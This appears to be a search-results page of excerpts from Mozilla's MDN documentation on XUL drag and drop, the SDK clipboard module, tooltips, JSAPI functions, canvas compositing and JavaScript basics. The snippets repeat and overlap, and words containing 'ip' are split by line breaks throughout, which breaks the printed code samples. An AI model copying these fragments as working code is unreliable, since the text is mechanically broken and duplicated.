Drag and Drop JavaScript Wrapper - Archive of obsolete content
<< previousnext >> gecko 1.9.1 (firefox 3.5) and later supports a newer and simpler api. this section describes how to use the javascr
ipt wrapper for drag and drop. the javascr
ipt drag and drop wrapper the javascr
ipt wrapper to drag and drop simplifies the process by handling all of the xpcom interfaces for you. it works by providing an object which implements the event handlers. all you have to do is write some simpler functions which work with the data being dragged. this drag and drop interface is stored in the global package, in the file chrome://global/content/nsdraganddrop.js. ...
...plifies the process by handling all of the xpcom interfaces for you. it works by providing an object which implements the event handlers. all you have to do is write some simpler functions which work with the data being dragged. this drag and drop interface is stored in the global package, in the file chrome://global/content/nsdraganddrop.js. ...
...faces for you. it works by providing an object which implements the event handlers. all you have to do is write some simpler functions which work with the data being dragged. this drag and drop interface is stored in the global package, in the file chrome://global/content/nsdraganddrop.js. you can include this file in your xul file with the scr
ipt tag in the same way you would include your own scr
ipts. ...
...And 9 more matches
Clipboard Test - Archive of obsolete content
<style></style> <style>.descr
iption{ display: block; font-size: 13pt; color: #444; font-style: italic; margin-bottom: 7px; } .method>.returns{display: none;} .method>.name>.param:not(:last-child):after{content: ","; padding-right: .5em; } .method>.name>.param:not(:last-child):after{content: ","; padding-right: .5em; } .method>.name>.param>.name:after{content: " as "; font-weight: normal; } .method>.params{display: block; color:#555;} .method>.params>.param{display: block; margin-bottom:5px;} .method>.params>.param>.name{font-weight:bold; margin-right:.5em; min-width:80px; display:inline-block;} .method>.params>.param>.descr
iption{display:inline-block; width:300px; vertical-align:top;margin-right:30px} .method>.params>.param>.type{display:inline-block; width:100px; vertical-align:top;font-wei...
...the api is fairly straightforward; examples can be found here. this api currently lives in the future an...
...the api is fairly straightforward; examples can be found here. this api currently lives in the future and must be imported f...
...And 9 more matches
Tooltips - Archive of obsolete content
toolt
ips a toolt
ip is used to provide descr
iptive help to the user about the control that the mouse is over. for instance, moving the mouse over top of a toolbar button and waiting for a second can display a small popup label containing text describing the button's function. when the mouse is moved again, the toolt
ip disappears. this is a useful means of providing additional details about a user interface without cluttering up the main interface. note that toolt
ips can only be activated using the mouse, so they should never contain important information that isn't available elsewhere. the toolt
iptext attribute in most cases, the toolt
ip will display only a single label. for this, the toolt
iptext attribute may be used, which is valid for all xul elements. the value of this attribu...
...in interface. note that toolt
ips can only be activated using the mouse, so they should never contain important information that isn't available elsewhere. the toolt
iptext attribute in most cases, the toolt
ip will display only a single label. for this, the toolt
iptext attribute may be used, which is valid for all xul elements. the value of this attribute should be the text to appear in the toolt
ip. <toolbarbutton label="back" toolt
iptext="go back one page"/> in this example, a back button on a toolbar is given additional text to appear on a toolt
ip. this could also be useful if the toolbar is configured such that labels do not appear. if an element does not have a toolt
iptext attribute, yet a parent element does, the parent toolt
ip will apply. for example, in the following, a toolbar h...
...rbutton label="back" toolt
iptext="go back one page"/> in this example, a back button on a toolbar is given additional text to appear on a toolt
ip. this could also be useful if the toolbar is configured such that labels do not appear. if an element does not have a toolt
iptext attribute, yet a parent element does, the parent toolt
ip will apply. for example, in the following, a toolbar has a toolt
ip set for it. <toolbar toolt
iptext="file buttons"> <toolbarbutton label="open" toolt
iptext="open a file"/> <toolbarbutton label="close"/> </toolbar> the 'open' button has a toolt
iptext attribute so will have a toolt
ip of its own. however, the close button does not have a toolt
ip associated with it, yet the parent toolbar does. ...
...And 9 more matches
Archived JavaScript Reference - Archive of obsolete content
however, it has been removed from the standard and the firefox implementation. do not use it!array.observe()the array.observe() method was used for asynchronously observing changes to arrays, similar to object.observe() for objects. it provided a stream of changes in order of occurrence. ...
...however, it has been removed from the standard and the firefox implementation. do not use it!array.observe()the array.observe() method was used for asynchronously observing changes to arrays, similar to object.observe() for objects. it provided a stream of changes in order of occurrence. ...
...gth is undefined, the bytelength of the oldbuffer is used. this operation leaves oldbuffer in a detached state.date.prototype.tolocaleformat()the non-standard tolocaleformat() method converts a date to a string using the specified formatting. intl.datetimeformat is an alternative to format dates in a standards-compliant way. see also the newer version of date.prototype.tolocaledatestring().ecmascr
ipt 2016 to es.next support in mozillaexpression closuresexpression closures are a shorthand function syntax for writing simple functions.for each...inthe for each...in statement iterates a specified variable over all values of object's properties. for each distinct property, a specified statement is executed.function.aritynot part of any standard.function.prototype.isgenerator()the non-standard isg...
...And 9 more matches
Visual typescript game engine - Game development
socketio used for session staff. multirtc2 used for data transfer also for video chat. multirtc3 alias 'broadcaster' used for video chat. client part to make all dependency works in build process we need some plugins. npm install npm run build navigate in browser /build/app.html to see client app in action -the client part is a browser web application. ...
...e client part is a browser web application. no reloading or redirecting. this is a single page application. i use html request only for loading local/staged html (like register, login etc.). networking is based on websocket full-duplex communication only.you must be conform with classic socket connection methodology. webrtc can be used for any proportion. already implemented: -video chat webrtc (s
ip) chat and data communication. look back on main staff : -class 'connector' (native websocket) used for user session staff. for main account session staff like login, register etc. client config if you want web app without any networking then setup: appusenetwork: boolean = false; you want to use communication for mult
iplayer but you don't want to use server database account sessions. t...
...out any networking then setup: appusenetwork: boolean = false; you want to use communication for mult
iplayer but you don't want to use server database account sessions. the setup this on false in main client config class. appuseaccountssystem: boolean = false; networking is disabled by default. find configuration at ./src/lib/client-config.ts /** * addson * all addson are ansync loaded scr
ipts. * - cache is based on webworkers. * - hackertimer is for better performace also based on webworkers. * - dragging is scr
ipt for dragging dom elements. ...
...And 9 more matches
JavaScript First Steps - Learn web development
in our first javascr
ipt module, we first answer some fundamental questions such as "what is javascr
ipt?", "what does it look like?", and "what can it do?", before moving on to taking you through your first practical experience of writing javascr
ipt. after that, we discuss some key building blocks in detail, such as variables, strings, numbers and arrays. looking to become a front-end web developer? ...
... introduction to html. introduction to css. ...
...ooking to become a front-end web developer? ...
...And 9 more matches
Multiple Firefox profiles
a profile in firefox is the collection of settings, customizations, add-ons, and other personalizations that a user has made or installed into their copy of firefox. you can find details about profiles on mozilla's end-user support site. reasons to have mult
iple profiles the casual user may want to have different profiles for work and personal use, or different family members. having different profiles would help separate work and personal life, or allow each family member to have his or her own set of bookmarks, settings, and add-ons. web developers might want a secondary profile for testing websites, apps, or other projects on different firefox channels. for example, you might want to have some extensions installed for web development, but not for general-purpose web browsing. while us...
...r general-purpose web browsing. while using the nightly channel, you may encounter some add-ons that have become temporarily incompatible with new api changes, until the add-on developer has a chance to update them. you can remove such add-ons from your profile for nightly use while keeping them for use with other profiles. for qa, testing, and bug triaging contributors, you may want to have mult
iple development versions of firefox installed, each with its own profile. creating new profiles for testing can keep you from losing your preferences, bookmarks, and history. it takes little time to set up a new profile, and once it is complete, all of your firefox versions will update separately and can be run simultaneously. available browser development channels there are four available browse...
...ted to be in the next release of firefox and are in final stages of testing. aurora contains experimental features, which are not yet at beta quality. nightly contains the latest code from firefox developers and is the least stable channel. third-party tools in addition to the built-in profile manager and the external profile manager, there are a few third-party tools that make working with mult
iple profiles easy. this list is by no means exhaustive. please add any helpful tools you discover to the list! mac os x multifirefox by dave martorana profile management determining the profile while firefox is running to determine the profile of a currently-running firefox instance in windows, macos or linux, type about:profiles into the browser url search bar. the page presents a l...
...And 9 more matches
Embedding Tips
::parenturicontentlistener attribute. watch for changes in nsiuricontentlistener::onstarturiopen(). you can abort the uri load at this point if you don't want it to proceed. if necessary you may also implement the nsiuricontentlistener::ispreferred(), returning pr_true to ensure you are always the preferred uri handler and are called no matter what the content type. how do i copy items to the cl
ipboard? obtain the nsicl
ipboardcommands interface from the appropriate web browser object via nsiserviceprovider::getinterface (or the do_getinterface() helper method). how do i save a document or data to disk? query for the nsiwebbrowserpersist interface implemented on the web browser object and call the saveuri() or savedocument() methods on that. alternatively, create a standalone webbrowser...
...ose a user / password prompt to obtain the values needed for authentication. your own implementation should pose this dialog, or fill in the values that are needed for the upload to succeed. how do i know when saving is done, monitor progress etc.? register your ownnsiwebprogresslistener object to listen for progress and state notifications. here is a simple example which demonstrates the princ
iple. the simplepersist() function takes a string url and a string file path. in response it creates a persist object, creates a listener and starts the operation. as the operation progresses, methods on the listener such as onstatechange, onprogresschange etc. are called, allowing the embedder to know what is happening. when the operation is completed, the onstatechange will be notified by a combin...
...vice. the nsiwindowcreator::createchromewindow method will be called whenever gecko needs to open a new window. this method should create the new browser window in the specified style and hand back the nsiwebbrowserchrome interface to it. ...
...And 9 more matches
Localizing extension descriptions
each has at least one em:locale property marking the locale that the information should be used for and then all the various strings for the locale. ...
...each has at least one em:locale property marking the locale that the information should be used for and then all the various strings for the locale. ...
...each has at least one em:locale property marking the locale that the information should be used for and then all the various strings for the locale. ...
...And 9 more matches
JS_EvaluateScript
obsolete since jsapi 36this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. compile and execute a scr
ipt. syntax jsbool js_evaluatescr
ipt(jscontext *cx, jsobject *obj, const char *src, unsigned int length, const char *filename, unsigned int lineno, jsval *rval); jsbool js_evaluateucscr
ipt(jscontext *cx, jsobject *obj, const jschar *src, unsigned int length, const char *filename, unsigned int lineno, jsval *rval); name type descr
iption cx jscontext * the context in which to run the scr
ipt. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj jsobject * the scope in w...
...ext *cx, jsobject *obj, const jschar *src, unsigned int length, const char *filename, unsigned int lineno, jsval *rval); name type descr
iption cx jscontext * the context in which to run the scr
ipt. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj jsobject * the scope in which to execute the scr
ipt. this parameter is documented in detail at js_executescr
ipt. src const char * or const jschar * string containing the scr
ipt to compile and execute. length unsigned int the length of src, in characters. filename const char * name of file or url containing the scr
ipt. used to report filename or url in error messages. lineno unsigned int ...
...ngth of src, in characters. filename const char * name of file or url containing the scr
ipt. used to report filename or url in error messages. lineno unsigned int line number. used to report the offending line in the file or url if an error occurs. rval jsval * out parameter. on success, if rval is not null, *rval receives the result value. descr
iption js_evaluatescr
ipt compiles and executes a scr
ipt in the specified scope, obj. js_evaluateucscr
ipt is the unicode version of the function. src is the string containing the text of the scr
ipt. length indicates the size of the text version of the scr
ipt in characters. filename is the name of the file (or url) containing the scr
ipt. this information is used in messages if an error occurs durin...
...And 9 more matches
nsIZipReaderCache
modules/libjar/nsiz
ipreader.idlscr
iptable please add a summary to this article. inherits from: nsisupports last changed in gecko 10.0 (firefox 10.0 / thunderbird 10.0 / seamonkey 2.7) implemented by: @mozilla.org/libjar/z
ip-reader-cache;1. ...
... modules/libjar/nsiz
ipreader.idlscr
iptable please add a summary to this article. inherits from: nsisupports last changed in gecko 10.0 (firefox 10.0 / thunderbird 10.0 / seamonkey 2.7) implemented by: @mozilla.org/libjar/z
ip-reader-cache;1. ...
... modules/libjar/nsiz
ipreader.idlscr
iptable please add a summary to this article. inherits from: nsisupports last changed in gecko 10.0 (firefox 10.0 / thunderbird 10.0 / seamonkey 2.7) implemented by: @mozilla.org/libjar/z
ip-reader-cache;1. ...
...And 9 more matches
Compositing and clipping - Web APIs
<< previousnext >> in all of our previous examples, shapes were always drawn one on top of the other. this is more than adequate for most situations, but it limits the order in which composite shapes are built. we can, however, change this behaviour by setting the globalcompositeoperation property. in addition, the cl
ip property allows us to hide unwanted parts of shapes. globalcompositeoperation we can not only draw new shapes behind existing shapes but we can also use it to mask off certain areas, clear sections from the canvas (not limited to rectangles like the clearrect() method does) and more. globalcompositeoperation = type this sets the type of compositing operation to apply when drawing new shapes, where type is a string identifying which of the twelve compo...
...o mask off certain areas, clear sections from the canvas (not limited to rectangles like the clearrect() method does) and more. globalcompositeoperation = type this sets the type of compositing operation to apply when drawing new shapes, where type is a string identifying which of the twelve compositing operations to use. see compositing examples for the code of the following examples. ...
... areas, clear sections from the canvas (not limited to rectangles like the clearrect() method does) and more. globalcompositeoperation = type this sets the type of compositing operation to apply when drawing new shapes, where type is a string identifying which of the twelve compositing operations to use. see compositing examples for the code of the following examples. ...
...And 9 more matches
RTCSessionDescription() - Web APIs
that dictionary has the following properties: type required. ...
...that dictionary has the following properties: type required. ...
...that dictionary has the following properties: type required. ...
...And 9 more matches
ScriptProcessorNode.bufferSize - Web APIs
note: as of the august 29 2014 web audio api spec publication, this feature has been marked as deprecated, and is soon to be replaced by audio workers. the buffersize property of the scr
iptprocessornode interface returns an integer representing both the input and output buffer size, in sample-frames. its value can be a power of 2 value in the range 256-16384. syntax var audioctx = new audiocontext(); var scr
iptnode = audioctx.createscr
iptprocessor(4096, 1, 1); console.log(scr
iptnode.buffersize); value an integer. example the following example shows basic usage of a scr
iptprocessornode to take a track loaded via audiocontext.decodeaudiodata(), process it, adding a bit of white noise to each audio sample of the input track (buffer) and play it through the audiodestinationnode. for ...
...r
iptprocessor(4096, 1, 1); console.log(scr
iptnode.buffersize); value an integer. example the following example shows basic usage of a scr
iptprocessornode to take a track loaded via audiocontext.decodeaudiodata(), process it, adding a bit of white noise to each audio sample of the input track (buffer) and play it through the audiodestinationnode. for each channel and each sample frame, the scr
iptnode.onaudioprocess function takes the associated audioprocessingevent and uses it to loop through each channel of the input buffer, and each sample in each channel, and add a small amount of white noise, before setting that result to be the output sample in each case. ...
...hrough the audiodestinationnode. for each channel and each sample frame, the scr
iptnode.onaudioprocess function takes the associated audioprocessingevent and uses it to loop through each channel of the input buffer, and each sample in each channel, and add a small amount of white noise, before setting that result to be the output sample in each case. ...
...And 9 more matches
Indexed collections - JavaScript
. this includes arrays and array-like constructs such as array objects and typedarray objects. array object an array is an ordered list of values that you refer to with a name and an index. for example, consider an array called emp, which contains employees' names indexed by their numerical employee number. so emp[0] would be employee number zero, emp[1] employee number one, and so on. javascr
ipt does not have an explicit array data type. however, you can use the predefined array object and its methods to work with arrays in your applications. the array object has methods for man
ipulating arrays in various ways, such as joining, reversing, and sorting them. it has a property for determining the array length and other properties for use with regular expressions. creating an array the fo...
...bject representing the array, instead of an array element. let arr = [] arr[3.4] = 'oranges' console.log(arr.length) // 0 console.log(arr.hasownproperty(3.4)) // true you can also populate an array when you create it: let myarray = new array('hello', myvar, 3.14159) // or let myarray = ['mango', 'apple', 'orange'] understanding length at the implementation level, javascr
ipt's arrays actually store their elements as standard object properties, using the array index as the property name. the length property is special. it always returns the index of the last element plus one. (in the example below, 'dusty' is indexed at 30, so cats.length returns 30 + 1). remember, javascr
ipt array indexes are 0-based: they start at 0, not 1. this means that the length property wil...
... array methods the array object has the following methods: concat() joins two or more arrays and returns a new array. let myarray = new array('1', '2', '3') myarray = myarray.concat('a', 'b', 'c')...
...And 9 more matches
Array - JavaScript
in general, these are convenient characteristics; but if these features are not desirable for your particular use, you might consider using typed arrays. ...
...in general, these are convenient characteristics; but if these features are not desirable for your particular use, you might consider using typed arrays. ...
...in general, these are convenient characteristics; but if these features are not desirable for your particular use, you might consider using typed arrays. ...
...And 9 more matches
clip-path - SVG: Scalable Vector Graphics
the cl
ip-path presentation attribute defines or associates a cl
ipping path with the element it is related to. note: as a presentation attribute cl
ip-path can be used as a css property. ...
... the cl
ip-path presentation attribute defines or associates a cl
ipping path with the element it is related to. note: as a presentation attribute cl
ip-path can be used as a css property. ...
... the cl
ip-path presentation attribute defines or associates a cl
ipping path with the element it is related to. note: as a presentation attribute cl
ip-path can be used as a css property. ...
...And 9 more matches
Two Types of Scripts - Archive of obsolete content
add-on code this is the place where the main logic of your add-on is implemented. ...
... add-on code this is the place where the main logic of your add-on is implemented. ...
... add-on code this is the place where the main logic of your add-on is implemented. your add-on is implemented as a collection of one or more commonjs modules. ...
...And 8 more matches
clipboard - Archive of obsolete content
interact with the system cl
ipboard, setting and getting its contents. usage you can optionally specify the type of the data to set and retrieve. the following types are supported: text (plain text) html (a string of html) image (a base-64 encoded png) if no data type is provided, then the module will detect it for you. currently the image type doesn't support transparency on windows. examples set and get the contents of the cl
ipboard. var cl
ipboard = require("sdk/cl
ipboard"); cl
ipboard.set("lorem
ipsum dolor sit amet"); var contents = cl
ipboard.get(); set the cl
ipboard contents to some html. ...
...f html) image (a base-64 encoded png) if no data type is provided, then the module will detect it for you. currently the image type doesn't support transparency on windows. examples set and get the contents of the cl
ipboard. var cl
ipboard = require("sdk/cl
ipboard"); cl
ipboard.set("lorem
ipsum dolor sit amet"); var contents = cl
ipboard.get(); set the cl
ipboard contents to some html. var cl
ipboard = require("sdk/cl
ipboard"); cl
ipboard.set("<blink>lorem
ipsum dolor sit amet</blink>", "html"); if the cl
ipboard contains html content, open it in a new tab. ...
...s. examples set and get the contents of the cl
ipboard. var cl
ipboard = require("sdk/cl
ipboard"); cl
ipboard.set("lorem
ipsum dolor sit amet"); var contents = cl
ipboard.get(); set the cl
ipboard contents to some html. var cl
ipboard = require("sdk/cl
ipboard"); cl
ipboard.set("<blink>lorem
ipsum dolor sit amet</blink>", "html"); if the cl
ipboard contains html content, open it in a new tab. var cl
ipboard = require("sdk/cl
ipboard"); if (cl
ipboard.currentflavors.indexof("html") != -1) require("sdk/tabs").open("data:text/html;charset=utf-8," + cl
ipboard.get("html")); set the cl
ipboard contents to an image. ...
...And 8 more matches
Writing JavaScript for XHTML - Archive of obsolete content
er considers the content to be html, and does not utilise its xml parser. there are a number of reasons for this. partially it is because, prior to version 9, internet explorer was incapable of handling xhtml sent with the official xhtml media type at all. (rather than displaying content, it would present the user with a file download dialog.) but it is also founded in the experience that javascr
ipt, authored carefully for html, can break when placed with an xml environment. this article shows some of the reasons alongside with strategies to remedy the problems. it will encourage web authors to use more xml features and make their javascr
ipt interoperable with real xhtml applications. (note that xhtml documents which behave correctly in both application/xhtml+xml and text/html environment...
...ions. (note that xhtml documents which behave correctly in both application/xhtml+xml and text/html environments are sometimes known as 'polyglot' documents.) to test the following examples locally, use firefox's extension switch. just write an ordinary (x)html file and save it once as test.html and once as test.xhtml. problem: nothing works after switching the mime type suddenly no inline scr
ipt works anymore. even the plain old alert() method is gone. the code looks something like this: <scr
ipt type="text/javascr
ipt"> //<!-- window.alert("hello world!"); //--> </scr
ipt> solution: the cdata trick this problem usually arises, when inline scr
ipts are included in comments. this was common practice in html, to hide the scr
ipts from browsers not capable of js. in the age of xml...
...
ipt type="text/javascr
ipt"> //<!-- window.alert("hello world!"); //--> </scr
ipt> solution: the cdata trick this problem usually arises, when inline scr
ipts are included in comments. this was common practice in html, to hide the scr
ipts from browsers not capable of js. in the age of xml comments are what they were intended: comments. before processing the file, all comments will be str
ipped from the document, so enclosing your scr
ipt in them is like throwing your lunch in a piranha pool. moreover, there's really no point to commenting out your scr
ipts -- no browser written in the last ten years will display your code on the page. ...
...And 8 more matches
Sending forms through JavaScript - Learn web development
this article explores such approaches. a form is not always a form with progressive web apps, single page apps, and framework based apps, it's common to use html forms to send data without loading a new document when response data is received. let's first talk about why this requires a different approach. gaining control of the global interface standard html form submission, as described in the previous article, loads the url where the data was sent, which means the browser window navigates with a full page load. ...
... like flickering. many modern uis only use html forms to collect input from the user, and not for data submission. when the user tries to send the data, the application takes control and transmits the data asynchronously in the background, updating only the parts of the ui that require changes. sending arbitrary data asynchronously is generally called ajax, which stands for "asynchronous javascr
ipt and xml". how is it different? the xmlhttprequest (xhr) dom object can build http requests, send them, and retrieve their results. historically, xmlhttprequest was designed to fetch and send xml as an exchange format, which has since been superceded by json. but neither xml nor json fit into form data request encoding. form data (application/x-www-form-urlencoded) is made of url-encoded lists ...
...quests, send them, and retrieve their results. historically, xmlhttprequest was designed to fetch and send xml as an exchange format, which has since been superceded by json. but neither xml nor json fit into form data request encoding. form data (application/x-www-form-urlencoded) is made of url-encoded lists of key/value pairs. for transmitting binary data, the http request is reshaped into mult
ipart/form-data. note: the fetch api is often used in place of xhr these days -- it is a modern, updated version of xhr, which works in a similar fashion but has some advantages. most of the xhr code you'll see in this article could be swapped out for fetch. if you control the front-end (the code that's executed in the browser) and the back-end (the code which is executed on the server), you can...
...And 8 more matches
Introducing asynchronous JavaScript - Learn web development
previous overview: asynchronous next in this article we briefly recap the problems associated with synchronous javascr
ipt, and take a first look at some of the different asynchronous techniques you'll encounter, showing how they can help us solve such problems. prerequisites: basic computer literacy, a reasonable understanding of javascr
ipt fundamentals. objective: to gain familiarity with what asynchronous javascr
ipt is, how it differs from synchronous javascr
ipt, and what use cases it has. synchronous javascr
ipt to allow us to understand what asynchronous javascr
ipt is, we ought to start off by making sure we understand what synchronous javascr
ipt is. this section recaps some of the information we saw in the previous article. a lot of the functio...
... event listener to it so that when the button is clicked: an alert() message appears. once the alert is dismissed, we create a <p> element. we then give it some text content. finally, we append the paragraph to the document body. while each operation is being processed, nothing else can happen -- rendering is paused. this is because as we said in the previous article, javascr
ipt is single threaded. only one thing can happen at a time, on a single main thread, and everything else is blocked until an operation completes. so in the example above, after you've clicked the button the paragraph won't appear until after the ok button is pressed in the alert box. you can try it for yourself: <button>click me</button> note: it is important to remember that alert(), while...
...es. so in the example above, after you've clicked the button the paragraph won't appear until after the ok button is pressed in the alert box. you can try it for yourself: <button>click me</button> note: it is important to remember that alert(), while being very useful for demonstrating a synchronous blocking operation, is terrible for use in real world applications. asynchronous javascr
ipt for reasons illustrated earlier (e.g. related to blocking), many web api features now use asynchronous code to run, especially those that access or fetch some kind of resource from an external device, such as fetching a file from the network, accessing a database and returning data from it, accessing a video stream from a web cam, or broadcasting the display to a vr headset. why is this diffic...
...And 8 more matches
Introducing JavaScript objects - Learn web development
here we teach object theory and syntax in detail, then look at how to create your own objects. looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. ...
...here we teach object theory and syntax in detail, then look at how to create your own objects. looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. ...
...ur own objects. looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. get started prerequisites before starting this module, you should have some familiarity with html and css. you are advised to work through the introduction to html and introduction to css modules before starting on javascr
ipt. you should also have some familiarity with javascr
ipt basics before looking at javascr
ipt objects in detail. before attempting this module, work through javascr
ipt first steps and javascr
ipt building blocks. note: if you are working on a computer/tablet/other devices where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding p...
...And 8 more matches
Creating JavaScript callbacks in components
callback patterns in idl xpcom components use idl to create interfaces. these interfaces are used to man
ipulate the component in c++ and javascr
ipt. a common pattern used with interfaces to create a bi-directional communication between two groups of code is the observer (or listener) pattern. basically, the component defines an observer (or listener) interface which is implemented by some external code and this implementation is passed to the component. the component can then call methods on the observer interface to signal the external code when predefined events occur. ...
...wo groups of code is the observer (or listener) pattern. basically, the component defines an observer (or listener) interface which is implemented by some external code and this implementation is passed to the component. the component can then call methods on the observer interface to signal the external code when predefined events occur. here is a very simple example of the observer pattern: [scr
iptable, uuid(...)] interface stringparserobserver { void onword(string word); }; [scr
iptable, uuid(...)] interface stringparser { void parse(string data); void addobserver(stringparserobserver observer); }; in this example, the stringparser will call the stringparserobserver.onword method whenever it finishes parsing a word found in the raw string data. here is an example of how to use the...
... onword : function(word) { alert(word); } }; var stringparser = /* get a reference to the parser somehow */ stringparser.addobserver(wordhandler); stringparser.parse("pay no attention to the man behind the curtain"); you can find examples of this pattern all over the mozilla codebase. in fact, there is even a specific interface for this form of push callbacks, nsiobserverservice. javascr
ipt functions as callbacks another common use of the pattern is found in addeventlistener / removeeventlistener. a nice feature of addeventlistener is that you can pass a javascr
ipt function in place of the callback listener interface. remember (or discover) that addeventlistener is a method of the nsidomeventtarget interface and is defined as such: void addeventlistener(in domstring type, ...
...And 8 more matches
IPDL Best Practices
this one is easy to miss, as the corresponding recv__delete__ function has a stub implementation automatically generated in the base class. simply calling delete on a pointer to an actor is not enough. ...
...iew process is initiated. lifetime management ensure
ipdl deletes your protocol all protocols must be deleted. period. are you sending the __delete__ message to trigger protocol deletion? this one is easy to miss, as the corresponding recv__delete__ function has a stub implementation automatically generated in the base class. simply calling delete on a pointer to an actor is not enough. using
ipdl generated structs as data structures outside of
ipc serialization/deserialization
ipdl generated structures are meant to facilitate serialization/deserialization and message passing. do not use them as data structures outside of
ipdl, or wou will eventually find yourself in bad situations to implement proper memory management. a good example of this problem is the amount of memory management bu...
...side of
ipc serialization/deserialization
ipdl generated structures are meant to facilitate serialization/deserialization and message passing. do not use them as data structures outside of
ipdl, or wou will eventually find yourself in bad situations to implement proper memory management. a good example of this problem is the amount of memory management bugs that we have had with using surfacedescr
iptor directly everywhere. implement (preferably reference counted) classes to wrap the shared data instead of letting several objects reference surfacedescr
iptors or their content directly. reference counting protocol actors is tricky here is the easiest way to get it right the first time (lessons learned from the http channel and geolocation protocols): allocpprotocol calls addref deallocppro...
...And 8 more matches
JavaScript-DOM Prototypes in Mozilla
prototype setup on an xpconnect wrapped dom node in mozilla when a dom node is accessed from javascr
ipt in mozilla, the native c++ dom node is wrapped using xpconnect and the wrapper is exposed to javascr
ipt as the javascr
ipt representation of the dom node. when xpconnect wraps a c++ object it will create a jsobject that is unique to this c++ object. in the case where the c++ object has class info (nsiclassinfo), the jsobject is a more or less empty jsobject which is not really that special. ...
...is c++ object. in the case where the c++ object has class info (nsiclassinfo), the jsobject is a more or less empty jsobject which is not really that special. all the methods that are supposed to show up on this jsobject are actually not properties of the object itself, but rather properties of the prototype of the jsobject for the wrapper (unless the c++ object's class info has the flag nsixpcscr
iptable::dont_share_prototype set, but lets assume that's not the case here). as an example of this let's look at an html image element in a document. var obj = document.images[0]; here, obj will not really have any properties (except for the standard jsobject properties such as constructor, and the non-standard __parent__, __proto__, etc.), all the dom functionality of obj comes from obj's prot...
...s let's look at an html image element in a document. var obj = document.images[0]; here, obj will not really have any properties (except for the standard jsobject properties such as constructor, and the non-standard __parent__, __proto__, etc.), all the dom functionality of obj comes from obj's prototype (obj.__proto__) that xpconnect sets up when exposing the first image in document to javascr
ipt. here are a few of the properties of obj's prototype: obj.__proto__ parentnode (getter function) src (getter and setter functions) getelementsbytagname (function) text_node (number property, constant) ... all those properties come from the interfaces that the c++ image object (nshtmlimageelement) implements and chooses to expose to xpconnect through the object's class info. one of t...
...And 8 more matches
Using JavaScript code modules
javascr
ipt code modules are a concept introduced in gecko 1.9 and can be used for sharing code between different privileged scopes. modules can also be used to create global javascr
ipt singletons that previously required using javascr
ipt xpcom objects. a javascr
ipt code module is simply some javascr
ipt code located in a registered location. the module is loaded into a specific javascr
ipt scope, such as xul scr
ipt or javascr
ipt xpcom scr
ipt, using components.utils.import() or components.utils["import"](). ...
...s. modules can also be used to create global javascr
ipt singletons that previously required using javascr
ipt xpcom objects. a javascr
ipt code module is simply some javascr
ipt code located in a registered location. the module is loaded into a specific javascr
ipt scope, such as xul scr
ipt or javascr
ipt xpcom scr
ipt, using components.utils.import() or components.utils["import"](). creating a javascr
ipt code module a very simple javascr
ipt module looks like this: var exported_symbols = ["foo", "bar"]; function foo() { return "foo"; } var bar = { name : "bar", size : 3 }; var dummy = "dummy"; notice that the module uses normal javascr
ipt to create functions, objects, constants, and any other javascr
ipt type. the module also defines a special array named exported_symbols. any javascr...
...t code module a very simple javascr
ipt module looks like this: var exported_symbols = ["foo", "bar"]; function foo() { return "foo"; } var bar = { name : "bar", size : 3 }; var dummy = "dummy"; notice that the module uses normal javascr
ipt to create functions, objects, constants, and any other javascr
ipt type. the module also defines a special array named exported_symbols. any javascr
ipt item named in exported_symbols will be exported from the module and injected into the importing scope. for example: components.utils.import("resource://app/my_module.jsm"); alert(foo()); // displays "foo" alert(bar.size + 3); // displays "6" alert(dummy); // displays "dummy is not defined" because 'dummy' was not exported from the module note: when you're testing changes to ...
...And 8 more matches
JS_CompileFunctionForPrincipals
obsolete since jsapi 28this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. create a security-enabled js function from a text string. ...
... obsolete since jsapi 28this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. create a security-enabled js function from a text string. ...
... obsolete since jsapi 28this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. create a security-enabled js function from a text string. ...
...And 8 more matches
nsIINIParser
nsiutf8stringenumerator getkeys(in autf8string asection); nsiutf8stringenumerator getsections(); autf8string getstring(in autf8string asection, in autf8string akey); methods getkeys() returns an nsiutf8stringenumerator providing the keys available within the specified section of the ini file. ...
... nsiutf8stringenumerator getkeys(in autf8string asection); nsiutf8stringenumerator getsections(); autf8string getstring(in autf8string asection, in autf8string akey); methods getkeys() returns an nsiutf8stringenumerator providing the keys available within the specified section of the ini file. ...
...re brakets and look like this: [settings] * all entries below such a section definition belong to that * section (until the next section). * @param {string} prop * the name of the property to get. ...
...And 8 more matches
The JavaScript input interpreter - Firefox Developer Tools
to enter expressions in single-line mode, type at the prompt and press enter. to enter multi-line expressions, press shift+enter after typing each line, then enter to run all the entered lines. the expression you type is echoed under the input prompt, followed by the result. if your input does not appear to be complete when you press enter, then the console treats this as shift+enter , enabling you to finish your input. ...
...ot immediately execute the input, but behaves as if you had pressed shift+enter , so you can finish entering the function definition. multi-line mode for multi-line entry, click the "split pane" icon at the right hand side of the single-line entry field, or press ctrl+b (windows/linux) or cmd+b (macos). the multi-line editing pane opens on the left side the of web console. you can enter mult
iple lines of javascr
ipt by default in this mode, pressing enter after each one. to execute the sn
ippet that is currently in the editing pane, click the run button or press ctrl+enter (or cmd+return on macos). the sn
ippet is echoed under the input prompt (in the right-side pane), followed by the result. you can also select a range of lines in the editing pane, and run just the code on those lines. ...
...his mode, pressing enter after each one. to execute the sn
ippet that is currently in the editing pane, click the run button or press ctrl+enter (or cmd+return on macos). the sn
ippet is echoed under the input prompt (in the right-side pane), followed by the result. you can also select a range of lines in the editing pane, and run just the code on those lines. starting in firefox 76, if the code sn
ippet is more than five lines long, only the first five lines are echoed in the console, preceeded by a disclosure triangle (or "twistie"), and followed by an ell
ipsis (...). click anywhere in the area containing the echoed code to show the whole sn
ippet; click again in that area to collapse it. you can open files when in multi-line mode, and save the current contents of the editing pane to a file.
...And 8 more matches
ClipboardItem - Web APIs
the cl
ipboarditem interface of the cl
